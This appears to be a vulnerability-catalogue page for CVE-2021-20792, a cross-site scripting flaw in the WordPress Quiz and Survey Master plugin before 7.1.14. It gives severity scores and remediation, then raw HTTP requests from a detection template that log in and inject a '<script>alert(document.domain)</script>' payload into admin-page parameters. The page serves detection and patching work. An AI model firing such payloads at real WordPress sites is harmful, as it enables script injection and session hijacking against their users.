🔙 목록으로 돌아가기

CVE-2021-20792: WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting

TitleWordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.09715
CVE IDCVE-2021-20792
CWE IDCWE-79
Tags cve2021 cve wordpress wp-plugin authenticated wpscan expresstech vuln

🔍 Vulnerability Description

WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=m7OJQt&pwd=xlV9Mk&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=mlw_quiz_list&s="></script><script>alert(document.domain)</script>&paged="></script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20792.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-20792.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A